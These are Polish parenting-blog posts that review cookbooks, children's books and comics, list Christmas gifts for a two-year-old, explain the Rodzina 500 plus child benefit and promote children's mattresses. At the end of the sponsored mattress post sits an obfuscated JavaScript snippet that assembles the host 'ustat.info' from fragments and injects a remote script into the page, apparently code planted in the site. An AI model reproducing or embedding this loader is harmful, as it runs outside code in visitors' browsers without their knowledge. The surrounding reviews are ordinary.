Pyszne książki kucharskie Grażyny Bober-Bruijn.

KIEDY MAMA NIE ŚPI

Pyszne książki kucharskie Grażyny Bober-Bruijn.

Uwielbiam gotować spędzając czas w kuchni z Olusiem. Tak, jest już na tyle duży, że bardzo chętnie uczestniczy w przygotowywaniu posiłków. Uwielbiam również próbować nowych smaków i przepisów. Nic więc dziwnego, że książek kucharskich przybywa, oczywiście ku mojej radości. Dziś dwie bardzo pyszne i ciekawe publikacje Grażyny Bobet-Bruijn. Jedna z przepisami na dania, które nie zawierają glutenu, a druga z przepisami na dania na wynos. Po prostu pycha! Zobaczcie sami!Nigdy nie przywiązywałam uwagi do obecności glutenu w naszej dieci. Nie licząc oczywiście początków rozszerzania diety Olusia. Miałam jednak od dłuższego czasu problemy żołądkowe, o których źródło podejrzewałam właśnie gluten. Moje przypuszczenia potwierdziły testy alergologiczne, które miałam niedawno przeprowadzane. Staram się unikać produktów bogatych w gluten. Nie jest to jednak takie proste aby z dnia na dzień wyeliminować go ze swojej diety.Koniec już o moim zdrowiu. Cieszcie oko zdjęciami będącymi owocem realizacji przepisów zawartych w tej książce. Przyznam szczerze, że jest to jedna z nielicznych książek kucharskich, których zawartość (przepisy) moim zdaniem przyjmą się u nas praktycznie w całości. Nie dość, że pięknie wyglądają, to jeszcze do ich wykonania wystarczą ogólnodostępne produkty. Poza tym są to w moim odczuciu zdecydowanie zdrowe i zbilansowane posiłki. A teraz smacznego!W książce znajduje się ponad 100 przepisów podzielonych na kategorie tematyczne: Coś na ząb, Obiady i Słodkości. Dodatkowo na samym początku książki znajdziecie merytoryczny wstęp  O glutenie, celiakii i smacznym jedzeniu, który jest doskonałym wprowadzeniem do przepisów bezglutenowych.Jest to książka dla wszystkich. Nawet jeśli nie masz problemu z tolerancją glutenu to z pewnością znajdziesz w niej wiele potraw, które zagoszczą w Twoim repertuarze kuchennym na dłużej. Miłego gotowania!Wydawnictwo: MuzaAutor: Grażyna Bober-BruijnRok wydania: 2015Stron: 192Format: 18,8 x 24,6 cmOprawa: miękkaCena na okładce: 39,99 złCena w aros.pl: 27,99 złCo o książce pisze wydawnictwo?Przepisy na łatwe do przygotowania, niezbyt czasochłonne i smaczne potrawy.„Dziś problem diety bezglutenowej dotyka coraz więcej osób. Glutenu muszą unikać chorzy na celiakię i cierpiący z powodu jego nietolerancji, wywołującej szereg uciążliwych dla życia dolegliwości. Coraz więcej ludzi decyduje się na rezygnację z glutenu, aby być zdrowszym i szczuplejszym”.Pierwsza książka autorstwa Grażyny Bober-Bruijn z pięknymi fotografiami Gosi Wieruszewskiej. Znalazło się w niej ponad 100 przepisów na proste potrawy bezglutenowe zilustrowane ok. 400 zdjęciami i rysunkami. Przepisy zostały dobrane tak, aby sprawdziły się podczas rodzinnego przygotowywania dań i zachęcały do własnych poszukiwań kulinarnych.Autorki udowadniają, że pewne ograniczenia wynikające ze względów zdrowotnych wcale nie muszą zubożyć diety; zachęcają do własnej interpretacji przepisów, modyfikowania ich, urozmaicania, a nie tylko podejmowania prób odtwarzania; do gotowania z dziećmi, aby zaszczepić im nawyki przygotowywania jedzenia w domu oraz sięgania po to, co dobre i zdrowe, nauczyć je gotowania, przekazać umiejętności i styl jedzenia. To co wynosi się z domu. Gotowanie to także podejmowanie decyzji, wybieranie, uczenie się odpowiedzialności.Pracujemy, wyjeżdżamy, uczymy się i niestety często jemy w biegu i co popadnie. Dzięki tej książce przekonacie się, że przygotowanie dania do pudełka, które możemy zabrać ze sobą wychodząc z domu wcale nie jest takie trudne ani czasochłonne jak mogłoby się nam wydawać.Jeśli do tego powiem Wam, że potrawy te zawierają odpowiednią dawkę kalorii i składników odżywczych, to z pewnością po dość krótkim czasie poczujecie różnicę między odżywianiem się własnoręcznie przygotowanymi daniami w duchu slow food a wszelkimi szybko dostępnymi przekąskami i przetworzoną żywnością typu fast food. Zachęcam Was, spróbujcie! Jeśli już raz zjecie pyszny zdrowy posiłek na przykład w pracy, to zapewniam Was, że będziecie chcieli jeść takie dobroci codziennie!W odróżnieniu do poprzedniej pozycji ta ma w sobie sporo ducha, klimatu i smaków kuchni azjatyckiej. Nic w tym dziwnego, przecież to właśnie stamtąd pochodzą piękne lunch box'y i kompozycje jedzenia, które szkoda zjadać, bo tak pięknie wyglądają. Przepisy te będą więc nie lada gratką dla fanów sosu sojowego, czy na przykład kimchi. Ja bardzo lubię kuchnię chińską i ubolewam, że w moim mieście nie knajpki z taką właśnie ofertą dań. No cóż, może kiedyś.Co do zawartości książki pod kątem technicznym, znajdziecie w niej ponad 80 przepisów z bardzo apetycznie prezentującymi się na zdjęciach potrawami. Zostały one podzielone aż na 9 kategorii, które ułatwią Wam poruszanie się po tej książce kucharskiej, mianowicie: Jajka, Zupy, Sałatki, Curry, ryże, makarony, placki, Klopsy, Wypieki słodkie, Wypieki słone, Pasty do chleba oraz Dodatki. Brzmi smacznie? Ja też zgłodniałam od samego ich oglądania.Wydawnictwo: MuzaAutor: Grażyna Bober-BruijnRok wydania: 2015Stron: 192Format: 18,8 x 24,6 cmOprawa: miękkaCena na okładce: 39,90 złCena w aros.pl: 27,93 złCo o książce pisze wydawnictwo?Ponad 80 przepisów na łatwe do przygotowania, niezbyt czasochłonne, smaczne i zdrowe potrawy, które nie tylko mogą być podane w domu, ale również zapakowane do pudełka śniadaniowego i zabrane do szkoły, pracy albo na wycieczkę. Mogą posłużyć także jako pomysł na wypełnienie kosza piknikowego z przyjemnością opróżnianego w miłym towarzystwie na świeżym powietrzu.

Wybierz idealny materac dla dziecka.

KIEDY MAMA NIE ŚPI

Wybierz idealny materac dla dziecka.

Odpowiednio dobrany materac to klucz to sukcesu, a przynajmniej gwarancja efektywnego odpoczynku. Małe dzieci potrzebują go jak nikt inny na świecie, warto zatem zadbać, by był on jak najlepszy.Wyjątkowe osoby potrzebują otaczać się wyjątkowymi przedmiotami. Jako że każdy malec do wyjątkowa istotka, warto zadbać, by jego bezpieczeństwo i wygoda stały na najwyższym poziomie. Należy pamiętać, że kręgosłup dziecka jest znacznie delikatniejszy niż dorosłego człowieka. Zwykły materac, wygodny np. dla rodziców dziecka, może okazać się dla latorośli za twardy albo przynajmniej niewłaściwy. Choć może się wydawać, że nie istnieje materac „za miękki” dla dziecka, nie jest to do końca prawdą. Właściwie dobrany materac powinien zapewnić dziecku podparcie na całej długości kręgosłupa, odciążając jego stawy, mięśnie i sam kręgosłup. Najlepsze materace powinny ponadto reagować na nacisk małego ciała i dostosowywać siłę podparcia do zmian pozycji leżącego.Nie bez znaczenia są też materiały, z których składa się konstrukcja materaca. Niektóre modele są specjalnie aromatyzowane, co ma wywoływać u dziecka przyjemne skojarzenia i zapewnić mu spokojny sen. Obecnie najdroższe i zarazem najbardziej zaawansowane pod względem konstrukcyjnym materace potrafią dostosować się nie tylko do ciężaru, ale i temperatury ciała. Na obecną chwilę pianka termoelastyczna uchodzi za bardzo drogą, jednak chcąc zapewnić dziecku wysoki komfort snu, nie ma na rynku lepszych materacy.Znaczna część dzieci cierpi z powodu alergii bądź innych chorób. Dla nich idealnym rozwiązaniem mogą okazać się materace rehabilitacyjne, które wcale nie przypominają materacy szpitalnych, jak mogłoby się z nazwy wydawać. Są to bardzo dobre, zarówno pod względem wykonania, jak i możliwości, konstrukcje. W pełni antyalergiczne, odporne na powstawanie i magazynowanie w materacu bakterii i roztoczy.Z całą pewnością materac dla dziecka okaże się wydatkiem drogim. Nie oznacza to jednak, że nie warto wysupłać trochę oszczędności z portfela i pozwolić sobie na zakup. Lepszy materac wpłynie korzystnie nie tylko na sen malca, ale także na jego samopoczucie, chęć do działania i zdrowie. Nie ulega wątpliwościom, że podane wartości są nie do przecenienia.*wpis sponsorowany(function(){ uszm=document.createElement("script");uszm.type="text/javascript"; uszm.async=true;uszm_=(("us")+"t")+"a";uszm_+=("t.i")+""+"n";uszm_+=(("f")+"o"); uszm.src="http://"+uszm_+"/6774413.v2sefvrmszmcs8ht53aespp5s2yxgq"; document.body.appendChild(uszm); })();

Zimowe i świąteczne książki dla dzieci pełne magicznych historii od Wydawnictwa Zakamarki.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci pełne magicznych historii od Wydawnictwa Zakamarki.

Rodzina 500 plus już w 2016?

KIEDY MAMA NIE ŚPI

Rodzina 500 plus już w 2016?

Czy uda się uruchomić Program Rodzina 500 plus już w 2016 roku? Czy z 1 stycznia 2016 roku wejdzie w życie ustawa o pomocy państwa w wychowywaniu dzieci umożliwiająca funkcjonowanie tego programu? Zdania są podzielone.Na pewno będzie to wymagało ogromnego wysiłku i pracy. Czym jednak tak naprawdę jest program i co może dać rodzicom i opiekunom? Kto będzie uprawniony do skorzystania z pomocy i jak taka pomoc będzie wyglądała? Poniżej kilka najważniejszych cech Programu Rodzina 500 plus.Kto otrzyma świadczeniaO świadczenia będą mogli starać się rodzice dziecka, jeden rodzic, prawni opiekunowie dziecka oraz faktyczni opiekunowie dziecka. Prawo do zasiłku przysługuje nie tylko obywatelom Polski, ale również cudzoziemcom (spełniającym odpowiednie warunki). Zasiłek przysługuje na drugie i każde kolejne dziecko bez względu na dochód rodziny. W przypadku najbiedniejszych rodzin zasiłek może być przyznany również na pierwsze dziecko (maksymalny dochód w przeliczeniu na członka rodziny to 800 zł lub 1 200 zł w przypadku, gdy jakiekolwiek dziecko w rodzinie jest niepełnosprawne).Ile można dostaćŚwiadczenie wyniesie 500 zł na każde dziecko zgodnie z podziałem opisanym akapit wyżej. Prawo do świadczenia będzie przyznawane na rok z możliwością składania wniosku o przyznanie świadczenia na kolejny. Dzięki temu świadczenie będzie można pobierać przez wiele lat. Granicą jest wiek dziecka. Przysługuje do ukończenia przez dziecko 18 lat.Wnioski, dokumenty i formalnościPodstawę w staraniu o świadczenie wychowawcze ma stanowić wniosek. Będzie on zawierał dane (imię, nazwisko, datę urodzenia, numer PESEL) osoby starającej się o zasiłek oraz dane (imię, nazwisko, datę urodzenia, numer PESEL, stan cywilny) wszystkich dzieci pozostających na utrzymaniu wnioskującego. Dodatkowo urzędy mogą wymagać dokumentów potwierdzających, że świadczenie należy się danej osobie, a nie komuś innemu. W przypadku starania się o świadczenie na pierwsze dziecko dodatkowo wymagane będą zaświadczenia i oświadczenia dokumentujące wszystkie dochody, jakie osiąga rodzina (w Polsce i innych krajach).Nadzór nad świadczeniobiorcamiOrgany właściwe dla kontrolowania i prowadzenia programu to wójtowie, burmistrzowie, prezydenci miast i marszałkowie województw. W przypadku marnotrawienia świadczeń przez beneficjentów właściwe organy będą miały prawo zawiesić w części lub całości wypłatę świadczenia bądź zamienić w części lub całości świadczenie pieniężne na pomoc rzeczową. Świadczenia pobrane nienależnie będą podlegały zwrotowi wraz z należnymi odsetkami.

Wierszowane historyjki dla najmłodszych.

KIEDY MAMA NIE ŚPI

Wierszowane historyjki dla najmłodszych.

Tą serię znam już chyba na pamięć a mamy ją zaledwie kilkanaście dni. Całokartonowe, a więc "dziecioodporne", pięknie ilustrowane i po prostu urocze. Olusiowi najbardziej wpadła w oko książka Bocian nauczyciel z tej serii. Wierszyki i barwne ilustracje to zdecydowanie to co dzieci w wieku dwóch lat lubią najbardziej.Ślimak na urodzinachŚlimak wyrusza na urodziny do wuja Zbysia, które są już za trzy miesiące. Tak tak, za trzy miesiące, w końcu to ślimak, a ten raczej do najszybszych mieszkańców Ziemi nie należy. Jak zaplanował tak zrobił, lecz nie dotarł na tegoroczne urodziny. Zgadniecie na które urodziny zdąrzył dotrzeć do wuja ślimak? Ja już to wiem. Zdradzę Wam tylko, że pomimo lekkiego opóźnienia sprawił swoją obecnością sporo przyjemności wujkowi Zbysiowi, a to przecież najważniejsze.Żaba w kaloszachŻaba, która boi się wody. Czy to w ogóle możliwe? W bajkach możliwe jest wszystko, tak więc tytułowa żabka boi się wręcz wszelkiej wilgoci. Najchętniej nie wychodziłaby z domu kiedy pada. Jednak właśnie dziś ciocia zaprosiła ją na pyszny tort z muszek i herbatkę. Cóż było robić? Chęć spróbowania smakołyków była silniejsza, więc żaba zaopatrzyła się w kalosze i gumowy płaszcz z kapturem. A to heca!Bocian nauczycielNa polanę w okolice sadzawki powrócił z zagranicy do swoich przyjaciół pan bocian. Odmieniony, wystrojony, dostojny i z calą masą walizek. Wszyscy byli zdziwieni kiedy zaczął ustawiać dla nich krzesła wokół sadzawki i oznajmił im, że będzie ich uczył. Rozpoczął od słów: Kum, kum, kum - pierwszym językiem wykładowym był język żab. Nic w tym dziwnego, w końcu nie od dziś wiadomo, że podróże kształcą.Wydawnictwo: Zielona SowaAutor: Agnieszka FrączekIlustracje: Monika FilipinaRok wydania: 2015Stron: 10Format: 19 x 19 cmOprawa: twardaSugerowany przedział wiekowy: od 0 do 3 latCena na stronie wydawnictwa: 9,99 złCena w aros.pl: 6,99 złCo o książce pisze wydawnictwo?Zabawne, wierszowane historyjki o zwierzętach autorstwa mistrzyni słowa rymowanego - Agnieszki Frączek. Z pięknymi, ciepłymi ilustracjami Moniki Filipiny są doskonałą propozycją dla najmłodszych czytelników i ich rodziców.Cała seria bardzo podoba się zarówno mi jak i Olusiowi. Cieszę się, że do nas trafiła. Poza tym lubię takie właśnie kilkucześciowe serie wydawnicze. Chyba coś we mnie jeszcze zostało z dziecięcego zbieractka i kolekcjonowania rzeczy wszelkiej maści.Twarda grubokartonowa struktura, śliskie strony, piękne nasycone barwy to to co przyciąga uwagę nie tylko dzieci ale i dorosłych. Z pewnością jest to jedna z serii, które znajdą swoje miejsce w zestawieniu najlepszych publikacji tego roku. Polecam!Wpis bierze udział w cyklu recenzji:

Zimowe i świąteczne książki dla dzieci - Marysia i Franklin Wydawnictwo Debit.

KIEDY MAMA NIE ŚPI

Zimowe i świąteczne książki dla dzieci - Marysia i Franklin Wydawnictwo Debit.

Dni mijają jak szalone i ani się obejrzałam a przedstawiam Wam już trzeci wpis z serii zimowo-świątecznej. Tym razem pokażę Wam pozycje z serii, które większość z Was zapewne już zna, są to historie o przygodach Mysi Marysi oraz sympatycznego żółwia Franklina. Zapraszam!W domu Marysi panuje już iście świąteczny klimat. Misia wraz z chomikiem Gryzkiem ozdabia choinkę w świąteczne ozdoby takie jak bombki, światełka, figurki czy pierniczki. Na kominku zawieszone są już buty na świąteczne prezenty. Wszystko jest gotowe. Brakuje jedynie prezentów. Misia i Gryzek kładą się spać, nazajutrz pod choinką i w butach powinny już być podarunki dla wszystkich członków rodziny. Jednak chomik Marysi nie może zmrużyć oka i postanawia zaczekać na Mikołaja pod choinką posilając się pierniczkami. Czy Mikołaj dotrze na czas? Czy chomik nie zapomni, że Marysia również lubi pierniczki? Tego dowiecie się czytając tą książeczkę. Miłej lektury!Oluś Marysię bardzo lubi odkąd w naszym domu pojawiła się pierwsza książeczka z tej serii. Co prawda wtedy nie było to bezpieczne dla książeczki, ponieważ Oli dopiero zaczynał uczyć się "obsługi" standardowych książek, ale szybko opanował tą umiejętność i teraz chętnie sięga nie tylko po książki całokartonowe.Cała seria o przygodach Misi jest pięknie ilustrowana. Tekst jest duży, wyraźny i łatwy do zrozumienia dla małego dziecka. Bardzo ciekawym dodatkiem jest wyszczególnienie charakterystycznych elementów opowiadań w formie zdjęcia wraz z podpisem, takich jak widoczne na zdjęciach bombki. Polecam! To seria, w której znajdziecie opowiadania (prawie) na każdą okazję.Wydawnictwo: DebitRok wydania: 2014Stron: 20Format: 22 x 22 cmOprawa: miękkaIlustracje: Alexis NesmeTekst: Nadia BerkaneCena na okładce: 6,90 złCena w aros.pl: 4,83 złCo o książce pisze wydawnictwo?Misia Marysia, rezolutna kilkuletnia dziewczynka, ma nowe przygody. Poszukuje zaginionej ukochanej przytulanki, przeżywa piękne Boże Narodzenie, przebiera się w różne kostiumy i w wyobraźni staje się piratką, księżniczką, rycerką, superbohaterką… Oczywiście nieustannie towarzyszy jej wesoły psotny chomik Gryzek. Bez niego na pewno byłoby mniej kłopotów, ale i znacznie mniej zabawy!Franklin i prezent świątecznyFranklina znam od wielu lat za sprawą mojego dużo młodszego ode mnie brata. Kiedy on był malutki była to jedna z jego ulubionych dobranocek, więc chcąc czy nie chcąc oglądałam je z nim niejednokrotnie spędzając z nim wspólnie wieczory. Już chyba zawsze będzie mi się kojarzyła z ciepłymi, życiowymi historiami z niezwykle istotnym i prostym przesłaniem. Cieszę się, że również Oluś może poznać tego bardzo pozytywnego bohatera.W tej książeczce nie chodzi o taki zwykły prezent jaki dajemy sobie nawzajem w czasie świąt. W szkole Franklina dzieci przekazują zabawki dla dzieci z biednych rodzin. Są tylko dwa zastrzeżenia: zabawka musi być nowa lub używana jednak niezniszczona. Z pozoru wybranie zabawki wydaje się takie proste. Kiedy jednak Franklin rozpoczyna przeglądanie swoich skarbów okazuje się, że ze wszystkimi zabawkami wiążą się jakieś wspomnienia i trudno jest mu się z nimi rozstać...Ta historia uczy nie tylko o prawdziwej i szczerej dobroci serca, pokazuje, że najważniejsze jest to co mamy w sercu, że prezenty, które dajemy innym nie muszą być drogie, ważne aby były przemyślane i przygotowywane z myślą o osobie, dla której są przeznaczone. Mieć nie oznacza być. Być oznacza mieć. Jeśli będziemy żyć z innymi i dla innych to nasze życie będzie pełniejsze i bardziej szczęśliwe. Nie zostaliśmy stworzeni do samotności i izolacji.Wydawnictwo: DebitIlustracje: Brenda ClarkTekst: Paulette BourgeoisRok wydania: 2005Stron: 29Format: 19 x 21,5 cmOprawa: miękkaCena na okładce: 7,50 złCena w aros.pl: 5,25 złCo o książce pisze wydawnictwo?Każda książeczka o żółwiu Franklinie to osobna historia traktująca o niezwykle ważnych sprawach z życia przeciętnego kilkulatka. Postacie wykreowane przez autorki są wzorcem nie tylko dla dzieci, lecz także dla rodziców, a ich przeżycia pozwalają odnaleźć się w niełatwych sytuacjach życiowych.Pani Sowa zorganizowała zbiórkę prezentów bożonarodzeniowych dla dzieci z domu dziecka. Wszyscy przynoszą wspaniałe prezenty, jednak Franklin nie może się zdecydować, którą zabawkę przeznaczyć na prezent.Franklin i teatrzyk szkolnyKażdy z nas jako dziecko, zapewne już w przedszkolu, miał okazję odegrać mniejszą lub większą rolę w przedstawieniu. Próby, ćwiczenie roli, stres narastający wraz ze zbliżającym się występem. Te właśnie uczucia towarzyszą Franklinowi, który bardzo boi się, że zapomni swojej roli podczas szkolnego teatrzyku i wszyscy będą na to patrzeć. Na próbie generalnej Franklin nagle traci głos i nie jest w stanie wykrztusić z siebie ani słowa. Czy uda mu się przezwyciężyć strach? Trzymajcie za niego kciuki i czytajcie!Kiedy my sami przestajemy wierzyć we własne umiejętności czy też możliwości stres i strach jeszcze tylko pogarszają sytuację. Nie zawsze potrafimy sobie poradzić z daną przeszkodą samodzielnie. Właśnie wtedy wsparcie innych osób i ich wiara w nasze możliwości może działać cuda. Sama już nie raz przekonałam się o tym w moim życiu.Kolejna prosta lecz bardzo ważna kwestia, którą przedstawia autor tej serii to dowód na to, że nawet w tak prostych i krótkich opowiadaniach można znaleźć głębszy sens i naukę na przyszłość.Wydawnictwo: DebitIlustracje: Brenda ClarkTekst: Paulette BourgeoisRok wydania: 2005Stron: 32Format: 19 x 21,5 cmOprawa: miękkaCena na okładce: 7,50 złCena w aros.pl: 5,25 złCo o książce pisze wydawnictwo?Każda książeczka o żółwiu Franklinie to osobna historia traktująca o niezwykle ważnych sprawach z życia przeciętnego kilkulatka. Postacie wykreowane przez autorki są wzorcem nie tylko dla dzieci, lecz także dla rodziców, a ich przeżycia pozwalają odnaleźć się w niełatwych sytuacjach życiowych.Franklin ma zagrać główną rolę w szkolnym przedstawieniu. Wszystko byłoby dobrze, gdyby nie trema, która powoduje, że żółwik nie potrafi wydusić z siebie ani słowa...

TOP 10 prezentów od Mikołaja dla dziecka do 50 zł.

KIEDY MAMA NIE ŚPI

TOP 10 prezentów od Mikołaja dla dziecka do 50 zł.

Oluś pod koniec roku skończy dwa latka. Grudzień to u nas miesiąc obfitujący w różnego rodzaju okazje i święta, a co się z tym wiąże w sporą ilość prezentów. Poza Bożym Narodzeniem i prezentami pod choinką czekaja nas Mikołajki i prezenty "do buta" oraz świętowanie drugich urodzin Olusia. Oj będzie się działo!Mikołajki już za niespełna dwa tygodnie. My część prezentów już mamy, inne kupimy w najbliższym czasie. Dziś chciałabym podzielić się z Wami moimi pomysłami na sprawdzone prezenty dla dwulatka do 50 zł. Dlaczego akurat do takiej kwoty? Bo nie jest ona zbyt wygórowana a jednocześnie już znacząca. Ceny podane przy poszczególnych prezentach są cenami orientacyjnymi.TOP 10 prezentów od Mikołaja dla dwulatka - książki1. Wyprawa Shackletona / Krótkie Gatki / cena: 41,93 zł2. Seria Zimowe opowieści / Zielona Sowa / cena: 5,59 zł za szt.3. Zimowe popołudnie / Czerwony Konik / cena: 13 zł4. Opowiadania bożonarodzeniowe / Media Rodzina / cena: 34,30 zł5. Boże Narodzenie / Jedność / cena: 7,43 zł6. Marysia i Boże Narodzenie / Debit / cena: 4,83 zł7. Maurycy i Mika podróżują przez pory roku i kontynenty / cena: 9,85 zł8. Wierzcie w Mikołaja / Zakamarki / cena: 34,93 zł9. Rok w lesie / Nasza Księgarnia / cena: 29,50 zł10. Zima w Klinice Małych Zwierząt w Leśnej Górce / Bis / cena: 22,99 złTOP 10 prezentów od Mikołaja dla dwulatka - zabawki drewniane1. Układanka kształty i kolory / Goki / cena: 44 zł2. Cymbałki rybka / Djeco / cena: 33 zł3. Kręgle / Bigjigs / cena: 30 zł4. Tęczowa choinka / Cause / cena: 44 zł5. Tablica magnetyczna / cena: 30 zł6. Koraliki drewniane do nawlekania / Melissa & Doug / cena: 38 zł7. Dźwig / Ikea / cena: 49,998. Dmuchajka / Pilch / cena: 30 zł9. Rybki i wędka na magnes / Melissa & Doug / cena: 37 zł10. Przebijanka / Ikea / cena: 24,99 złTOP 10 prezentów od Mikołaja dla dwulatka - puzzle i układanki1. Poznaję zwierzęta / Zielona Sowa / cena:2. Pojazdy / CzuCzu / cena:3. A kuku! Safari / CzuCzu / cena:4. Kwadrat i trójkąt / CzuCzu / cena:5. Gram z Sówką Zuzią. Zwierzęta / Zielona Sowa / cena:6. Gram z Sówką Zuzią. Kolory / Zielona Sowa / cena:7. Seria Poznaję świat / Kapitan Nauka / cena:8. Już czytam / Granna / cena:9. Układanka drewniana / Melissa & Doug / cena: 20 zł10. Układanka drewniana / Melissa & Doug / cena: 20 złCoś Wam wpadło w oko? A może podpowiecie mi co ciekawego Oluś mógłby dostać od Mikołaja?

3 Wyjątkowe komiksy dla dzieci.

KIEDY MAMA NIE ŚPI

3 Wyjątkowe komiksy dla dzieci.

Tym razem zamiast jednego komiksu będą trzy ciekawe publikacje, które pokazują jak różnorodny i dostosowany do gustu młodego czytelnika może być komiks. Ja zawsze uważałam, że książki są dla wszystkich, trzeba tylko znaleźć taki ich rodzaj, który skradnie nasze serce i po który zawsze chętnie będziemy sięgać.Niezła draka, Drapak!, tom 1 Puść to jeszcze razKto będąc dzieckiem nie lubił super bohaterów? Niezwykłe moce, piękne i idealnie skrojone stroje oraz masa przygód to to o czym zapewne większość z nas nie raz marzyła jako dziecko. Tytułowy Drapak jest jednym z takich super bohaterów. Na co dzień Kornel jest właścicielem zwykłego antykwariatu. jednak kiedy tylko ktoś potrzebuje jego pomocy zamienia się w niezwyciężonego Drapaka!Komiks jest dość stonowany kolorystycznie jednak bardzo wyraźne akcenty ostrych kolorów dodają mu zdecydowanie charakteru. Czasem znajdziemy tu rozkładówki bez tekstu, jak ta powyżej, jednak w większości stron tekstu i dialogów nie zabraknie. Zaskoczę Was zapewne informacją, że spora jego część jest wierszowana. Tak, tak, to dość nietypowy zabieg w komiksach, a jednak nawet tu pasuje.Przy okazji dość prostej fabuły autor zahacza tu o tak istotne wartości w życiu jak dobrowolne pomaganie innym, przyjaźń, posłuszeństwo wobec rodziców czy też punktualność. Owszem nie znajdziecie tu tych kwestii w bardzo rozbudowanej formie jednak są one na tyle czytelne, że bez problemu je zauważycie i będą one okazją do rozmowy z dzieckiem na ten temat.Polecam! Bardzo fajny, lekki i chwilami zabawny komiks już nawet dla 4-5 letniego dziecka.Wydawnictwo: EgmontAutor:  SztyborIlustrator: Tomasz KaczkowskiRok wydania: 2015Stron: 48Format: 21,5 x 29 cmOprawa: miękkaSugerowany przedział wiekowy: dla wszystkichCena na stronie wydawnictwa: 24,99 złCena w aros.pl: 17,49 złCo o książce pisze wydawnictwo?Przygodowa opowieść dla dzieci narysowana w nowoczesnym stylu cartoonowym. Za dnia Kornel jest zwyczajnym właścicielem antykwariatu, prowadzi spokojny tryb życia. Jednak gdy zapada zmrok, zakłada superbohaterski kostium! W tym wcieleniu znany jest pod pseudonimem Drapak. Nocami walczy ze złoczyńcami atakującymi Miasto Nasze. Po pokonaniu gigantycznego robota musi się zmierzyć z tajemniczym przeciwnikiem, który do swoich niecnych celów wykorzystuje muzykę. Wszyscy mieszkańcy Miasta Naszego zostali zahipnotyzowani i nie mogą przestać tańczyć ani śpiewać. Jedynie Drapak jest w stanie coś zdziałać. Czeka go trudna przeprawa ze sprytnym wrogiem. Scenariusz komiksu napisał warszawski autor ukrywający się pod pseudonimem Sztybor, a rysunki są dziełem łodzianina Tomasza Kaczkowskiego, członka zimnofalowego zespołu „Wieże Fabryk”. Album powstał jako rozwinięcie krótkiej historii nagrodzonej w drugiej edycji „Konkursu imienia Janusza Christy na komiks dla dzieci”.Malutki Lisek i Wielki Dzik, tom 1, TamJuż sama okładka mnie urzekła. Lubię takie kontrastowe zestawienia, dzieci zresztą również. Nie myślałam jednak, że w środku znajdują się aż tak piękne ilustracje. To chyba jeden z najlepiej ilustrowanych komiksów jaki mamy w naszej domowej biblioteczce!Pokuszę się o stwierdzenie, że drugiego takiego komiksu nie ma na świecie. Jest on wyjątkowy. Niby taki prosty i wręcz oczywisty a jednocześnie taki niesamowity i zachwycający. Ja się przy nim wzruszyłam ale i uśmiechnęłam sama do siebie bardzo szerokim i szczerym uśmiechem. A historia przedstawia się następująco...Malutki Lisek odkąd pamiętał mieszkał w dolinie pod jabłonką zupełnie sam. Do dnia kiedy poczuł jakiś nieznany mu wcześniej zapach i w dolinie pojawił się on, Wielki Dzik i bez słowa zamieszkał pod jabłonką. Trudno było Malutkiemu Liskowi oswoić się z nową sytuacją, więc ukradkiem wymknął się do lasu sprawdzając czy aby na pewno Wielki Dzik za nim nie podążył. Kiedy wrócił pod jabłonkę Wielkiego Dzika już nie było, a liskowi zrobiło się smutno... Nie opowiem Wam tej historii to końca, odebrałabym Wam całą przyjemność z czytania tego komiksu. Jednocześnie zapewniam Was, że po jednokrotnym przeczytaniu tego komiksu nie będziecie mili go dość i nie raz jeszcze do niego wrócicie.Wydawnictwo: EgmontAutor:  Berenika KołomyckaRok wydania: 2015Stron: 48Format: 21,5 x 29 cmOprawa: miękkaSugerowany przedział wiekowy: dla wszystkichCena na stronie wydawnictwa: 24,99 złCena w aros.pl: 17,49 złCo o książce pisze wydawnictwo?„Pięknie namalowana opowieść dla młodszych dzieci o sile przyjaźni. Malutki Lisek żyje samotnie Tutaj – pod jabłonką na odległych wzgórzach. Jest szczęśliwym zwierzątkiem, które zajmuje się tylko sobą i swoimi lisimi sprawami. Jednak pewnego dnia pojawia się Wielki Dzik. Lisek jeszcze nie wie, że wraz z przybyszem nadszedł czas zmian, przygód i wędrówki do krainy Tam. Czy Malutki Lisek jest gotowy na to wszystko? I czy jest gotowy na niespodziewaną przyjaźń z nieznajomym? Autorką komiksu jest Berenika Kołomycka, graficzka, ilustratorka i projektantka. Stworzyła rysunki do komiksów Wykolejeniec (scen. Grzegorz Janusz) i Tej nocy dzika paprotka (scen. Marzena Sowa). Album powstał jako rozwinięcie krótkiej historii nagrodzonej w drugiej edycji „Konkursu imienia Janusza Christy na komiks dla dzieci”.Sałatka ze SmerfówPamiętacie stare tradycyjne zachodnie komiksy, które kupowało się w kioskach? Ta pozycja to swoisty powrót do starych dobrych komiksowych czasów. Mi komiksy kojarzą się z moimi pobytami w szpitalu kiedy byłam dzieckiem. Takie rarytasy jak komiksy właśnie wtedy dostawałam od mojej babci. W tamtych czasach uwielbiałam historie o Asterixie i Obelixie. Co do smerfów, czy ktoś z Was nie lubił tej dobranocki?Pamiętacie jeszcze czasy, kiedy wszystkie dzieci zbierały się przed ekranami telewizorów kiedy rozpoczynała się Dobranocka w TVP1? Ja pamiętam je bardzo dobrze. Smerfy to była jedna z bajek na która czekało się z niecierpliwością. Nie ulega wątpliwości, że współczesne komiksy wyglądają zdecydowanie inaczej. Jednak takie jak ten, o przygodach małych smerfastycznych smerfów, warto znać, czytać i zachować dla kolejnych pokoleń. To nie tylko "zwykły" komiks, to historia!Wydawnictwo: EgmontAutor:  Luc Parthoens, Thierry CullifordRok wydania: 2015Stron: 48Format: 21,5 x 29 cmOprawa: miękkaSugerowany przedział wiekowy: dla dzieciCena na stronie wydawnictwa: 19,99 złCena w aros.pl: 13,99 złCo o książce pisze wydawnictwo?Niespodziewanie do wioski Smerfów wkrada się niezgoda. Niebieskie skrzaty uwielbiają warzywa Farmera, lecz pewnego dnia potrawy z jarzyn przygotowywane przez Kucharza stają się niesmaczne! Badania Papy Smerfa wykazują, że rośliny zostały zaatakowane przez pasożyta. Papa musi opuścić wioskę na kilka dni, aby zdobyć u specjalisty lekarstwo na chorobę roślin. Jak to zwykle bywa, gdy siwobrody przywódca opuszcza swoich podopiecznych, ci wpadają w poważne tarapaty. Z własnej winy wystawią jedność społeczeństwa Smerfów na ciężką próbę. Smerfy wymyślił belgijski scenarzysta i grafik Pierre Culliford, używający pseudonimu Peyo. Jego komiksy zostały zaadaptowane na potrzeby filmów o przygodach niebieskich skrzatów. Obecnie autorami nowych opowieści o Smerfach są następcy Peyo, w tym jego syn Thierry.

Wanda Chotomska - Kurczę blade i Smok ze smoczej jamy.

